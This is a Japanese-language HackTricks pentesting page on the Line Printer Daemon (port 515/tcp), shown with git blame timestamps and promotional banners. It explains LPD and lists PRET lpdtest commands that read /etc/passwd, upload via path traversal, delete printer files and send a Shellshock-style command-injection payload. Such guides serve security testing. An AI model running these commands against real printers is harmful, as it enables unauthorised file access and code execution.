hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

54 lines
4.4 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
HackTricksをサポートする他の方法
2022-04-28 16:01:33 +00:00
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>
### **LPDプロトコルの紹介**
2022-04-28 16:01:33 +00:00
1980年代に、**Line Printer DaemonLPDプロトコル**はBerkeley Unixで開発され、後にRFC1179を通じて正式化されました。このプロトコルは、`lpr`コマンドを介して操作を許可する、ポート515/tcp上で動作します。LPDを介した印刷の本質は、**制御ファイル**(ジョブの詳細とユーザーを指定する)と**データファイル**(印刷情報を保持する)を送信することです。制御ファイルにより、データファイルの**さまざまなファイル形式**を選択できますが、これらのファイルの処理は特定のLPD実装によって決定されます。Unixライクなシステム向けの広く認識された実装は**LPRng**です。LPDプロトコルは、**悪意のあるPostScript**または**PJL印刷ジョブ**を実行するために悪用される可能性があります。
### **LPDプリンターとのやり取りに使用するツール**
[**PRET**](https://github.com/RUB-NDS/PRET)は、`lpdprint``lpdtest`という2つの重要なツールを紹介し、LPD互換のプリンターとやり取りする簡単な方法を提供します。これらのツールを使用すると、データの印刷から、プリンター上のファイルの操作ダウンロード、アップロード、削除などまで、さまざまなアクションを実行できます。
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
2020-07-28 00:00:37 +00:00
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
2020-07-28 00:00:37 +00:00
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
2020-07-28 00:00:37 +00:00
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
2020-07-28 00:00:37 +00:00
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
2020-07-28 00:00:37 +00:00
lpdtest.py hostname mail lpdtest@mailhost.local
```
2022-05-01 13:49:36 +01:00
# Shodan
2020-10-05 17:40:56 +00:00
* `ポート515`
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
HackTricksをサポートする他の方法
2022-04-28 16:01:33 +00:00
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
</details>